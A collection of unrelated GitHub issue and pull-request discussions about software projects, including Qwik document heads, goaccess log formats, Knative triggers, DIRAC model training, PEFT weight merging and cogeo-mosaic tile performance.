[✨] Build Static Site Generator's DocumentHead with API Calls

Is your feature request related to a problem?
Imagine a blog where all the posts are saved in a database. The documenthead cannot be set after an api call (from what I gather). So javascript is required to update the title, and SEO will likely not find all these posts. Another example is a store layout and index file at<EMAIL_ADDRESS>I need to set all the titles for SEO. And I already know every single item in the DB (it's less than 10,000). Either some way to stream the document head after some API call, or generating the static build with API calls before deployment would solve this issue for SEO/non-javascript
Describe the solution you'd like
Some way to generate the static site with a list of IDs/api calls/an object to apply to specific layout/index file structures. I know every single route that needs to exist, but they are not generated statically with a document head. If we cannot generate all the files, then fallback to dynamically looking up the information in the DB and updating the documenthead title? I'm not sure what the best way to go about this is.
Describe alternatives you've considered
Creating a build script to chain into the deployment. This would obviously work, but it would've been nicer to colocate a list of IDs/api calls that need to be made for static generation in the index file itself (for case where the IDs are updated). The api calls would return the appropriate title for the documenthead as well.
Additional context
No response

I think this works for me, so I can close this issue now
export const useApi = routeLoader$(async (requestEvent) => {
  const response = await fetch('https://api-url');
  if (response.status !== 404) {
    const data = await response.json();
    return data;
  }
  return null;
});

export const head: DocumentHead = ({ resolveValue }) => {
  const res = resolveValue(useApi);
  if (res !== null) {
    return {
      title: `${res.title}`,
      meta: [
        {
          name: 'description',
          content: `${res.description}`,
        },
      ],
    };
  }
  return {
    title: `404 - Not Found`,
  };
};


Issue concerning logformat in newer versions

When using both the major release of 0.8.5 and a compile directly from github i seem to encounter an invalid Log format for S3 Logs, while i have previously used the logformat without problems (and it's also the format which pops up on google when googling "goaccess s3").
It seems to simply not work in later versions of goaccess, below is two outputs, both tests uses the same files as seen in the test with 0.8.5:
0.8.5 run: https://gist.github.com/overnine/78ae830097aeccb5fb00
0.8.1 run: https://gist.github.com/overnine/74b52d657d109214ffaf

I downloaded your sample log and it did work for me on 0.8.5. However, one thing to note is that the latest version does not count 4xx as unique visitors, so you may want to use --4xx-to-unique-count. Also I'd recommend using the latest config file since some features are taken from there.
goaccess -f log -p ~/.goaccessrc

Here's the log format I tried as well:
log-format %^ %^ [%d:%^] %h %^ %^ %^ %^ "%r" %s %^ %b %^ %^ %^ %^ %^ "%u"

Let me know how it goes. Thanks.

Okay, my issue probably was due to something else, thanks for your time!

Might have been solved by stripping initial whitespace/newlines as described in #203


Include container_name in the GKE monitored resource

The GKE monitored resource gets most of the labels correct, but misses container_name

We should look at this again...

It's now been a year and a half since this was raised - we need to look at it thoroughly again.


MAN2-2957 Add test for utilities.

Purpose

Notes
Good example of how mocking is handled!

Coverage increased (+0.3%) to 45.802% when pulling f0dd7b0245a474fe20ab691f3ee025022e1499a5 on rjstires:MAN2-2957-utilities-tests into dd49ff7b8ed98336de612734f56de8daf9c1ca3c on linode:develop.


[TB] Add a Templates section along the top nav

Problem/Concern
I would like to start pulling components together into templates.
So we need to add a tab and a left nav with light mode/dark mode for templates.

link to problem content

Proposed Solution
As is:

To Be:

Per @lwnoble this is complete.  Closing.


Adds the ability to customize welcome message and disable it

Adds the ability to disable or enable the welcome message and set the server name yourself including color codes by an ampersand in the bedrock configuration file.

This is a good feature to have but we should allow someone to truly customize it. The entire welcome message should be configurable, not just the server name, so we'll have something like `Welcome %s tot the server!" (with color code deserialization support, etc). The same should be applied to the quit messages.

Okay, I will make changes to reflect this, but how would I translate the %s into the player name?
Also since you mentioned quit messages would you like the plugin to override current join/quit messages and be configured just like this first join message?

String.format, you can see other examples in the Bedrock code.

The plugin should override vanilla/default messages, yes.

@viveleroi How does this look?

Okay I will make all of the changes suggested, thanks for your help, it means a lot.

Don't have time to work on this right now, may revisit it in the future from scratch.


Kokkos/simulator

This PR adds the C++ layer of PennyLane-Lightning-Kokkos to Lightning-Unification.

The C++ code is added.
LKokkos classes derive from base classes.
LKokkos tests have been adapted integrally.
Some LQubit tests have been copied into LKokkos tests.
Agnostic classes tests can run with the LKokkos backend.
LKokkos methods are overloaded where required to match LQubit methods' signatures.
Includes some LKokkos code simplifications.
Common utils are moved from simulators/lightning_qubit to utils.
New gate library includes part of  simulators/lightning_qubit/gates which is also used in simulators/lightning_kokkos.

Nice job, your last changes improved, even more, this work!
One last (I think) request. Could you please update the Hamiltonian Observable fo LQubit part of the code, to use exceptions in the OpenMP loop? At this moment we are just ignoring the warning.

Nice job! Your last changes improved, even more, this work! One last (I think) request. Could you please update the Hamiltonian Observable fo LQubit part of the code, to use exceptions in the OpenMP loop? At this moment we are just ignoring the warning.

I didn't update it at the same time as the function above because it appeared to me that nothing throws inside the OMP body. I think clang-tidy would have complained if that were the case since I removed all assert from the code base. But maybe there is something else you have in mind?

Nice job! Your last changes improved, even more, this work! One last (I think) request. Could you please update the Hamiltonian Observable fo LQubit part of the code, to use exceptions in the OpenMP loop? At this moment we are just ignoring the warning.

I didn't update it at the same time as the function above because it appeared to me that nothing throws inside the OMP body. I think clang-tidy would have complained if that were the case since I removed all assert from the code base. But maybe there is something else you have in mind?

In the past clang-tidy complained about it. If it is not complaining anymore, great!
In this case, since it is not necessary anymore,  please remove the // NOLINT(openmp-exception-escape)

In this case, since it is not necessary anymore, please remove

Will do.

In this case, since it is not necessary anymore, please remove

Will do.
You were correct, there is a throw-error. I'll fix it.

Thank you!


[v1.5rc][Docs] Portfolio page + Update DG

Updated DG with new implementation method for tasks, as well as added portfolio page.

Coverage remained the same at 78.981% when pulling 4d77a98edb79b3340565637afea729cfdd012b1a on Esilocke:1.5rcUGDG into 38e8e170680153938d79eeb90f1c3a00cbc7fbb2 on CS2103AUG2017-W09-B2:master.

Coverage remained the same at 78.925% when pulling 68574fbedcf593ae3f08d7ceb57db0d5d8a8a5c5 on Esilocke:1.5rcUGDG into d47514490defeeb5f19c63b6118d779a4fcf82ab on CS2103AUG2017-W09-B2:master.


graalvm8: 1.0.0-rc1 -> 1.0.0-rc3

Motivation for this change
version update
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[x] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

No attempt on x86_64-linux (full log)
The following builds were skipped because they don't evaluate on x86_64-linux: graalvm8
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnfree = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnfree = true; }
to ~/.config/nixpkgs/config.nix.

No attempt on aarch64-linux (full log)
The following builds were skipped because they don't evaluate on aarch64-linux: graalvm8
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnfree = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnfree = true; }
to ~/.config/nixpkgs/config.nix.

Unfree, builds locally on x86_64-linux.
@volth how do you test this? (you checked the NixOS tests box above but there's no test for graalvm).

@xeji sorry, I meant installCheckPhase


Provide func subscribe for creating Triggers and subscribing to events from the Knative Broker

Func Subscribe
Feature focused on subscribing to events from a broker, for consumption by the Function.
func subscribe com.foo.bar [--source my-broker]

While the func is an abstraction from direct Knative manifest interaction, the above however would creates a Knative Trigger resource for the given com.foo.bar CloudEvent Type, which will be consumed from the given broker. If the --source is not present, the assumption is to use the default broker.
The func generated Trigger resource for the example above would look like:
apiVersion: eventing.knative.dev/v1
kind: Trigger
metadata:
  name: my-kn-function-com.foo.bar-trigger
  namespace: default
  ownerReferences:
  - apiVersion: serving.knative.dev/v1
    blockOwnerDeletion: true
    controller: true
    kind: Service
    name: my-kn-function
spec:
  broker: my-broker
  filter:
    attributes:
      type: com.foo.bar
  subscriber:
    ref:
      apiVersion: serving.knative.dev/v1
      kind: Service
      name: my-kn-function

The generated Trigger resource has a ownerReference to the subscribing Service. When the service is being deleted the Trigger will be removed as well, this prevents floating Triggers in the system`.
NOTE: The initial implementation will just focus on the type of the CloudEvent, and will ignore other attributes and custom extensions. This will be added in a later iteration.
Subscribe to all events
Besides subscribing to specific events, it should be possible to subscribe to all events. This is especially nice in the development phase and generally for debugging purposes:
func subscribe --event-all [--source my-broker]

The above invocation would generate a Trigger that has no specific filter, and hence will subscribe to all events, which is especially nice in the development phase, for debugging purposes:
apiVersion: eventing.knative.dev/v1
kind: Trigger
metadata:
  name: my-kn-function-all-trigger
  namespace: default
  ownerReferences:
  - apiVersion: serving.knative.dev/v1
    blockOwnerDeletion: true
    controller: true
    kind: Service
    name: my-kn-function
spec:
  broker: my-broker
  subscriber:
    ref:
      apiVersion: serving.knative.dev/v1
      kind: Service
      name: my-kn-function

Conflicts with kn CLI
While the func CLI is for a different persona (developers) than the kn CLI (SREs or Admins),it is possible to use the func as a plugin itself on kn.
Creating a Trigger with the kn client goes like:
kn trigger create NAME --sink SINK [options]

This does create a Trigger resource, for a given sink. While the func would not need the given sink, as the context for the invocation is the function itself, defined in the func.yaml file.
Perhaps the func tool itself (when used as a kn plugin) could leverage the above?

Bind a Function to Event Types for consumption
In order to allow a Knative Function (aka a Knative Serving Service) to consume events for a given set of event types, a Trigger manifest is needed, like:
apiVersion: eventing.knative.dev/v1
kind: Trigger
metadata:
  name: <trigger-name>
spec:
  broker: <broker-name>
  filter:
    attributes:
      type: <some event type>
  subscriber:
    ref:
      apiVersion: serving.knative.dev/v1
      kind: Service
      name: <my-function>

Unfortunately, this needs to be either created by hand (using yaml) or the kn CLI:
kn trigger create <trigger-name> --sink ksvc:<my-function> --broker <broker-name> --filter type=<some event type>

Func subscribe command
Instead of forcing func users to either create the Trigger manually or with the kn tool, which requires a decent amount of Knative specifics, it would be desirable to have a kn func subscribe command.
The explicit invocation
The easiest way is to call the func subscribe the the events and from flag:
kn func subscribe --events <list of event types> --from/source <broker>

The arguments:

events: A list of Event Types
from/source: the name of the broker

This would register the some hook to func.yaml, so that func deploy knows it needs to create one or more Triggers, for the function being developed, where the ownerReferences is provided, being the Knative Serving Service.

NOTE: The subscribe command would use the Golang library of the kn CLI, in order to create the Trigger`

Interactive Command
If not all arguments are provided some interactive support is offered.
Interactive Events argument
kn func subscribe

This would give us an interactive command, where we would be presented a list of EventType resources that are available on the namespace:
NAME                           TYPE                       SOURCE          REFERENCE NAME   REFERENCE KIND
com.custom.event.orders        com.custom.event.orders   /system/id/$ID
com.custom.event.orders-xyz    com.custom.event.orders   /system/id/007   prod-broker      Broker
com.custom.event.orders-UUID   com.custom.event.orders   /system/id/999   test-broker      Broker
com.custom.event.orders-SOME   com.custom.event.orders   /system/id/123   test-broker      Broker

It would basically give a simplified view of k get eventtypes... (or kn eventype list)
The developer than can select a number of event types
Interactive From argument
Similar to the above, for the from (or source) we would list the available Brokers on the namespace:
kn broker list
NAME        URL                                                                          AGE   CONDITIONS   READY   REASON
my-broker   http://broker-ingress.knative-eventing.svc.cluster.local/default/my-broker   79s   6 OK / 6     True

The developer than can select the desired broker
Alternative we could also assume the usage of the default broker, if no --from is specified.
TBD / Not defined:

Fully EventType discocery of what other CloudEvent attrributes and extensions are available

Related to this: https://github.com/knative/eventing/issues/7265


The trainning problem

Dear author,hello.I have some questions about trainning stage.Different your previous job——CLapIRN,this project's code don't have process of trainning Lv1 and Lv2 model.And did you use the mask function during trainning lv1 and lv2 model?

Hi @wanghao-cv,
For cLapIRN and DIRAC, we adopted the same end-to-end training scheme (i.e., training without lvl1 and lvl2).

Sorry i am still unclear about your response, I saw cLapIRN's train.py has the process of traing lv1 and lv2. And lv3model's traing are based on the pretrain model from lv1 and lv2 ,why you say cLapIRN is an end-to-end traing?

Hi @wanghao-cv,
The progressive training scheme in the original LapIRN and cLapIRN is used to stabilize the training. In many cases, we can directly train the model in an end-to-end manner (without the progressive training scheme).  Of course, you can also train DIRAC with the progressive training scheme. You will observe a much faster training time but there is no significant improvement using the progressive training scheme in this task.
We didn't encounter any instability in training for this task. Therefore, for brevity, we bypass the progressive training scheme in our experiments (for this paper "DIRAC").

Thanks for response! I used BraTs's data on your code yesterday,but the results of tre is not well. The score of tre rise to 130 after 38000iterations(158epochs).Can I get some more details about data grouping or some initial setup

Hi @wanghao-cv,
The train/valid/test splits we used are as follows:
Group 1: Cases 029-130 / Cases 131-140 / Cases 001-028
Group 2: Cases 001-028 + 057-130 / Cases 131-140 / Cases 029-056
Group 3: Cases 001-056 + 085-130 / Cases 131-140 / Cases 057-084
Group 4: Cases 001-084 + 113-130 / Cases 131-140 / Cases 085-112
Group 5: Cases 001-102 / Cases 103-112 / Cases 113-140
For each training split, we also include the pre-defined validation dataset (Cases 141-160) in each of the "train" split. Note that the labels of the pre-defined validation dataset are not publicly available and therefore we cannot use it in "valid" split.

I tested the code with PyTorch 1.9.0+cu111 and Python 3.7.

OKay,I will try it again with the updated files and use Group1 data.Thanks

Hello,I run the BRATS_train_DIRAC.py again with updated files.My trainning data is divided into Group1 and other parameters are keeping the code's default value.But the Tre loss is still not will, the log is followed
0:12.499654325317982
2000:11.554369833200962
4000:11.7596705412202
6000:8.858232847211195
8000:12.326368763491153
10000:47.827801819789634
12000:15.043822223587409
14000:13.135572823672486
16000:16.81639033939812
18000:12.806663615119465
20000:88.44322264865482
22000:97.35114592621713
24000:95.22318954008665

Hi @wanghao-cv,
Here are the results I trained earlier today using the code in the repository:
Validation TRE log for Brats_NCC_disp_fea6b5_AdaIn64_t1ce_fbcon_occ01_inv1_a0015_aug_mean_github:
0:7.8542726022293845
2000:6.73274522975314
4000:4.421295289877301
6000:3.397277698520257
8000:3.169211049384084
10000:2.7044105335642334
12000:2.7780652696356465
14000:2.4305414183263414
16000:2.25415834316635
18000:2.3330128356665516
20000:2.033382620780193
22000:1.9894852492095876
24000:2.1334460152709105
Which Pytorch version are you using? Could you try PyTorch 1.9.0+cu111 and Python 3.7?

I run the code with Pytorch1.12.1+cuda11.3 and Python 3.7.
umm,your trainning today used the BRATS_train_DIRAC.py?
I found that in BRATS_train_DIRAC.py line 414 ,the code is : log.write("Validation Dice log for " + model_name[0:-1] + ":\n"),which is different from your  results's title--Validation TRE log..

Yes. That's a typo. I just fixed it. The other parts are the same as in the repository.
I also tested it on a Windows 10 machine with Pytorch 1.10.0+cu113. It works well too.

I run the  BRATS_train_DIRAC.py on a single GPU with Linux. I change the version of Pytorch to 1.10.0+cu113 and restart  the trainning now.

Hello,the problem seemed to be solved since I have changed the PyTorch version from 1.12to 1.10.
The difference between  1.12 and 1.10 is incredible.
the 1.12results
Validation Dice log for Brats_NCC_disp_fea6b5_AdaIn64_t1ce_fbcon_occ01_inv1_a0015_aug_mean_fffixed_github:
0:12.030334159966776
2000:115.91007410458137
4000:33.72951164249721
6000:25.214690238684472
8000:12.730539371843165
10000:22.849013556216683
and the 1.10results
Validation Dice log for Brats_NCC_disp_fea6b5_AdaIn64_t1ce_fbcon_occ01_inv1_a0015_aug_mean_fffixed_github:
0:13.05530537424255
2000:8.235118291610078
4000:6.045682190762699
6000:5.131279478047594
8000:3.9203483575676943
10000:4.109792298823343
12000:3.7403639585530626
14000:3.5788628137712992
16000:3.283032934854161
18000:3.013545133070159
20000:3.2962511379413564
Thanks a lot for your promptly reply!
And can I get your Wechat number if you have?My email address is<EMAIL_ADDRESS>.

Hi @wanghao-cv,
Glad to hear that you have solved your problem. Regarding the Wechat number, I have dropped you an email.


perf(build): Add package.json for semantic release

Signed-off-by: Michael Darmawan<EMAIL_ADDRESS>BREAKING CHANGE: update API spec caused classes and method signatures to change
Title: PR Title
Short Description: Short explanation/description of PR (or issue/task)
Checklist

[ ] I have performed a self-review of my changes
[ ] My code/changes are commented (especially hard-to-understand areas)
[ ] I have written/updated new unit tests for the core changes or new/updated tests are not necessary
[ ] I have posted test results from local tests or made sure the TravisCI tests succeeded
[ ] I have made changes to the examples in examples/kp-sdk-example where relevant, and tested those changes
- run mvn clean install to build the sdk, then run mvn clean install in the examples/kp-sdk-example directory to build the examples.
- To run the example jar's examples, use java -jar kp-sdk-example-1.0-SNAPSHOT.jar $EXAMPLE_NAME

Changes

Briefly identify changes made in this PR

Test Results

Test results may be run by the TravisCI build. If so, please verify whether they are running properly.

Dependencies

Is anything changing with respect to dependencies (the pom.xml or gradle file)? Explain that here and why they were changed.

:tada: This PR is included in version 1.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


X.L.Magnifier: Expose types

Description
It is important for these types to be exposed to access the underlying LayoutModifier. It is not possible to interact with it without these.
In particular I needed these changes for compatibility with this PR https://github.com/xmonad/xmonad-contrib/pull/582
Checklist

[x] I've read CONTRIBUTING.md

[x] I've considered how to best test these changes (property, unit,
manually, ...) and concluded: XXX

[ ] I updated the CHANGES.md file

[ ] I updated the XMonad.Doc.Extending file (if appropriate)

Is this useful without the layout inspection bits?

Yes -- I actually don't see how this would be related to layout inspection at all.
This is needed for use with my conditional layout modifier module. Atm, Magnify only provides functions that return functions  Modified Payouts, not the layout modifiers themselves. My conditionallayout modifier needs to interact directly with the layout modifier obejcts so it cannot use these functions.

Oh, mea culpa, now I see. For some reason I though this is because you wanted to make a condition that looks into Magnifier and completely overlooked the “little” issue that ConditionalLayoutModifier doesn't work with a l a -> ModifiedLayout Magnifier l a. Sorry. 🙇
What about trying to deal with that issue directly instead of exposing internals of every LayoutModifier someone wants to use with the ConditionalLayoutModifier? Should be easy to create a function
conditional ∷ … ⇒ c → ModifiedLayout m l a → ModifiedLayout (ConditionalLayoutModifier m c) l a

so then you just do conditional c $ magnifier $ Tall … ||| ….
Or perhaps
conditional ∷ … ⇒ c → (l a → ModifiedLayout m l a) → (l a → ModifiedLayout (ConditionalLayoutModifier m c) l a)

and then the usage is conditional c magnifier $ Tall … ||| ….
(Also, a random thought for #582 before I get to replying in detail to your other questions: if you implement it as an instance LayoutClass (ConditionalModifiedLayout c m l) a instead of instance LayoutModifier (ConditionalLayoutModifier m c) a, you won't need to implement as many functions and the reasoning may be easier, too. Or not. Just a random thought, really.)


sync changes problem

ADD ISSUE DESCRIPTION HERE
Hi, I have some problems with sync ing my files to repository.
I gat this message: Git: From https://github.com/K0R7E/42projects. But I was logged in with my profiles also, with the same computer.
Version: 1.82.2
Commit: abd2f3db4bdb28f9e95536dfa84d8479f1eb312d
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Embedder: codespaces

/gifPlease

Thanks for reporting this issue! Unfortunately, it's hard for us to understand what issue you're seeing. Please help us out by providing a screen recording showing exactly what isn't working as expected. While we can work with most standard formats, .gif files are preferred as they are displayed inline on GitHub. You may find https://gifcap.dev helpful as a browser-based gif recording tool.
If the issue depends on keyboard input, you can help us by enabling screencast mode for the recording (Developer: Toggle Screencast Mode in the command palette). Lastly, please attach this file via the GitHub web interface as emailed responses will strip files out from the issue.
Happy coding!

This issue has been closed automatically because it needs more information and has not had recent activity. See also our issue reporting guidelines.
Happy Coding!


Notebook toolbar cluttered with default extensions

The notebook toolbar in binder includes buttons from several extensions installed by default, so much that the debugger toggle does not fit in the available space.

I think that it would make sense to remove some of the textual content by the icons from this toolbar (Download, GitHub, and Binder).

Removing the text labels is easy in
https://github.com/manics/jupyter-offlinenotebook/blob/4a41110958cf55c26304371ed440213c7a7914e2/src/index.ts#L61-L137
Removing the GitHub and Binder icons is probably OK (though note the GitHub icon changes depending on the source repo). I'm not sure about the Download button though based on previous discussions:

https://github.com/manics/jupyter-offlinenotebook/issues/18
https://github.com/manics/jupyter-offlinenotebook/pull/21

In general I think we're a bit lacking in JuptyterLab UI expertise. If you were to re-write the extension from scratch what would you do differently?

Thanks!
I think that it would be enough to make the buttons smaller by removing the "Download", "GitHub", and "Binder" text.
My remark was more of a design/ux question than a technical question.

Is it possible to have a "dropdown menu" style button in the toolbar? That way we could save space and have icon + text for the buttons. WDYT?


Support for debian/ubuntu os

SUMMARY

Currently the available roles only supports RHEL and derivatives, but it should not hard to support also debian derivates still leveraging systemd.
(currently not high priority for us but can be in the next future)
ISSUE TYPE

Feature Idea

We already have this  ; however adding a precondition check won't hurt I guess.
debian/ubuntu is not in my roadmap, but of course contributions are more than welcome!

Thanks @guidograzioli!


Add isotope filter to projects.html

So we can filter by active, non-active, etc.

Just wrote some custom code to do this (with help from ChatGPT v4) :)


Make the extract sd claims available without verification

I have the need to get the body of the SD JWT where the hashes are replaced with the disclosed values.
Currently, I am doing a workaround.
from sd_jwt.verifier import SDJWTVerifier
from sd_jwt.common import SDJWTCommon

class SDJWT_Unpacker(SDJWTVerifier):
    def __init__(
        self,
        sd_jwt_presentation: str,
        serialization_format: str = "compact",
    ):
        SDJWTCommon.__init__(self, serialization_format=serialization_format)

        self._parse_sd_jwt(sd_jwt_presentation)
        self._create_hash_mappings(self._input_disclosures)
        parsed_input_sd_jwt = JWS()
        parsed_input_sd_jwt.deserialize(self._unverified_input_sd_jwt)
        self._sd_jwt_payload = json.loads(parsed_input_sd_jwt.objects["payload"].decode("utf-8"))

    def extract_sd_claims(self):
        """
        Returns the body of the SDJWT where all the disclosed values are replaced with the actual values
        """
        return self._extract_sd_claims()

SDJWT_Unpacker(sdjwt_presentation).extract_sd_claims()

I would appreciate it if I could do this simpler without reimplement parts of the verifier and without calling a private method.

Thanks for the input! May I ask what your use case for that is?

Hi
Thank you for your swift reply.
I have created a Pydantic class to do SDJWT things. I can feed it a string and I now have all the information about it. Furthermore, I can call .jwt to get the JWT. I can call .body to get the content decrypted. This model is used many times in my project. During issuance of the credential. In the wallet. In the verifier. And I don't always want to also check if the SDJWT is valid. E.g., right after issuing I know it is valid, I just want an easy way to access the data. Or in the wallet I want to display the data. I would rather not do cryptographic checks when displaying my credential.
Also, in the wallet when I get the request object I have to match it against my credentials, but this requires a credential without the hashes.


Client should wait for the server to go online

To automate the benchmarking process, the client should not die just because the server is not yet online, it should rather wait until a connection can be established before beginning the benchmark process.

Should this only be when choosing the benchmark option, or also for the execute single actions option?

@vypxl I added a pull request which should fix this and implement the optimal behaviour: #12

Looks good, I would propose to add a Log entry like Server not up yet, waiting... in the case of a failure, such that the client does not quietly wait forever if something goes wrong.

It does log Waiting for server to start... to stdout, or do you mean something else?

Fixed in PR #12


Move messages that are unknown transports in the RecoverOutgoingMessages to the dead letter queue

Tasks

[ ] New table for "wolverine_undeliverable_messages", with exact same structure as outgoing table, but add "archived" column
[ ] When found, copy data over in unknown transport

Nah, just adding some robustness and error handling.


Facial Attribute Analysis Accuracy

Hello,
this looks very interesting!
what accuracy does deepface attain for facial expression analysis?
Could this information be added to the readme?

it has 7 emotions, each emotion has a precision and recall. so, it is not seen pretty.
if you follow the links in the read me, you will find the scores.


Enable Bluetooth on Raspberry Pi

So Bluetooth must always be enabled (not RF-killed) or that bthelper service will always fail. No way to fix this? Always requiring Bluetooth to be enabled seems like a band-aid to me.

I also wonder why it used to work in our MuxPi builds. Do you know when and why it started failing?

Should perhaps file a meta-raspberrypi issue about this (Bluetooth must be enabled or service will fail and systemd will think system is degraded). Would be nice if we could fix it and send a PR but at least an issue?

I also wonder why it used to work in our MuxPi builds.

When?

Looks like Jenkins is down at the moment, but RPI MuxPI builds were green until less than X builds or so ago (do not remember how many could still see saved green jobs yesterday).
But looking at https://github.com/Pelagicore/vagrant-cookbook/blob/bba26063323b18453e44dc237c5f43571c1deb0d/muxpi/rpi/set-up-image.sh#L103 I am not sure now that bthelper failing would result in the job failing.

But looking at https://github.com/Pelagicore/vagrant-cookbook/blob/bba26063323b18453e44dc237c5f43571c1deb0d/muxpi/rpi/set-up-image.sh#L103 I am not sure now that bthelper failing would result in the job failing.

It would not. I have tried to track down the issue by checking the job history: it's been green for a while now.

If we can not figure out how to make bthelper work when Bluetooth is RF-killed, perhaps it is enough with an issue in meta-raspberrypi then?
I think it is weird to have a requirment for Bluetooth to be enabled to have a clean boot, right?

If we can not figure out how to make bthelper work when Bluetooth is RF-killed, perhaps it is enough with an issue in meta-raspberrypi then?

ok, let's try: https://github.com/agherzan/meta-raspberrypi/issues/460


send keypress/keydown/keyup does not send the actual keycode to the javascript engine.

<EMAIL_ADDRESS>commented:

Which version of PhantomJS are you using?
1.7 (Trunk)
What steps will reproduce the problem?

page.evaluate(function() { var item = document.querySelector('id'); item.focus(); });

page.sendEvent('keypress', 'a');
HTML: <input type=text name='id' id='id' onkeydown="check()"> <script>function check(e) { console.log(e.keyCode, e.charCode, e.which); }

What is the expected output?
65, a, (65/'a')
What do you see instead?
0, 0, 0
Which operating system are you using?
Windows
Did you use binary PhantomJS or did you compile it from source?
Source
Please provide any additional information below.
This issue maybe related to:
https://bugs.webkit.org/show_bug.cgi?id=16735

Disclaimer:
This issue was migrated on 2013-03-15 from the project's former issue tracker on Google Code, Issue #760.
:star2:   3 people had starred this issue at the time of migration.

all keyup events return 0 for keyCode, which, and charCode.

Same with PhantomJS 2.0.

Is there a solution for this?


feat: Added GitHub Icon and GitHub URL to Member Profile

Description ✏
Closes #37
Describe what this PR does.

Displays the GitHub Icon on the home page of the Member Profile that directs individuals to ColorStack's GitHub, as such:

Type of Change 🐞

[x] Feature - A non-breaking change which adds functionality.
[ ] Fix - A non-breaking change which fixes an issue.
[ ] Refactor - A change that neither fixes a bug nor adds a feature.
[ ] Documentation - A change only to in-code or markdown documentation.
[ ] Tests - A change that adds missing unit/integration tests.
[ ] Chore - A change that is likely none of the above.

Checklist ✅

[x] I have done a self-review of my code.
[ ] I have manually tested my code (if applicable).
[ ] I have added/updated any relevant documentation (if applicable).

@tomas-salgado removed the vite timestamp file that was added to the repo.


Improve screenshots

Demozoo has higher quality screenshots for many prods, we should use them.

We have better screenshots now :)
Fixed by #16


FEAT: Add safe_merge option in merge

What does this PR do?
Analogous PR to https://github.com/huggingface/diffusers/pull/5316
Some users that use diffusion models can face strange issues when merging the adapter weights inside the base model. This PR is the PEFT equivalent of @patrickvonplaten 's PR on diffusers
I would advocate to default safe_merge to False as this PR adds an overhead. in fact, it is preferable to first copy the merged tensor, check if there is any nan value there and raise a proper ValueError in case there is a nan. Otherwise the potential nan would be already propagated to the merged weights before raising the error
Also this PR is perfectly backward compatible as it preserves all the previous behaviour
Added also nice tests
cc @pacman100 @BenjaminBossan @sayakpaul @patrickvonplaten FYI --> on https://github.com/huggingface/diffusers/pull/5151 we would just pass safe_merge=safe_merge in module.merge

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.

This looks like a useful feature to have, thanks for the addition.
For my understanding, the NaN could also be caused by the addition of the delta weights, even if those don't contain any NaN themselves, and that's why you perform the check on the merged weights, not on the delta weights, right? The main reason I'm asking is because if we only do the check on the delta weights, we wouldn't need to create a copy of the original weights.
Btw. IIRC the test that was failing was not the flaky one, so there might be some fixing needed. Could be caused by the changed line if active_adapter not in self._active_adapter:.

Indeed @BenjaminBossan I believe the overflow (nan) is purely caused by the sum between the adapter weights and the base model, I also think this usually happens under float16 regime.
It could be potentially caused by nan being in the delat weights but it is also likely that the sum causes the overflow afterward, therefore I think it is safer to perform the check this way. Let me know what do you think
Regarding your second point that's correct as well !

Thanks very much for all the reviews @BenjaminBossan !

I think that we should add it in this PR to make things consistent, let me work on that!

Cool!

@BenjaminBossan all the proposed suggestions sound great to me ! Will work on that

I have adapted the changes accordingly and added a test case with inf, let me know what do you think!


Finding a tile zoom of 1 takes 30s when quadkey_zoom is at 10 (or higher)

Intro
👋 hi there....I'm a big fan of the library! When using it with my tile server I noticed that low zoom levels were taking a really long time and a big chunk of it was being spent in find_quadkeys. It's super helpful the function is cached, but I'd love to figure out how to get the function call down to be sub-second (as that is how it performs for higher zoom levels) . Equally I have some ideas of work-arounds that I wanted to discuss to make sure I wasn't doing everything completely wrong 😅
Reproduce the issue
Here is an example setup to reproduce the issue:
from cogeo_mosaic.backends import MosaicBackend
import timeit

mosaic = MosaicBackend("https://raw.githubusercontent.com/developmentseed/mosaicjson-spec/refs/heads/master/0.0.3/example/dg_post_idai.json")

def run_mosaic_tile():
    try:
        mosaic.tile(1, 0, 1)
    except Exception:
        pass

print(f"Execution time: {timeit.timeit(run_mosaic_tile, number=1):.6f} seconds")

This prints Execution time: 27.068926 seconds for me.
The root of the issue makes sense as find_quadkeys will need to produce about 200k quad keys given the quadkey_zoom is at 10 and I'm asking for a zoom level of 1.
Questions
So my specific questions are:

Am I overlooking something or is this expected behavior?
I acknowledge the min zoom is a really low level that I could just not allow users to get to? This could be an option to consider (I'm semi-new to the geo space) but if possible, I'd love to actually support this use case
One workaround I've considered is to create multiple MosaicJSON files (at least one in the low zoom levels), for example one mosaic JSON at quadkey_zoom of 10  and another at a quadkey_zoom of 4 and route any zooms levels at 4 or lower to the quadkey_zoom of 4. Having multiple MosaicJSON files around feels a bit odd, but maybe I'm just incorrect to think that.

Hi @bh-perennial

The root of the issue makes sense as find_quadkeys will need to produce about 200k quad keys given the quadkey_zoom is at 10 and I'm asking for a zoom level of 1.

😱 don't do that! this is just a level too far from the quadkey zoom level. Imagine you have 200k quadkey and each quad keys has 1 or 2 files, when trying to build a tile you'll try to open 200k-400k rasters (multiple times the same) 😱
For a tile request to success I would say that you don't want to open more than 10 files!!! There is no magic with COG, it's not worth it to open a COG if it's to use for sub-pixel values 😅

I acknowledge the min zoom is a really low level that I could just not allow users to get to? This could be an option to consider (I'm semi-new to the geo space) but if possible, I'd love to actually support this use case

Just use a quadkey_zoom level which is in < than the min zoom of your data. https://github.com/developmentseed/mosaicjson-spec/tree/main/0.0.3#38-quadkey_zoom BUT still this should be couple levels up, not 9 levels.

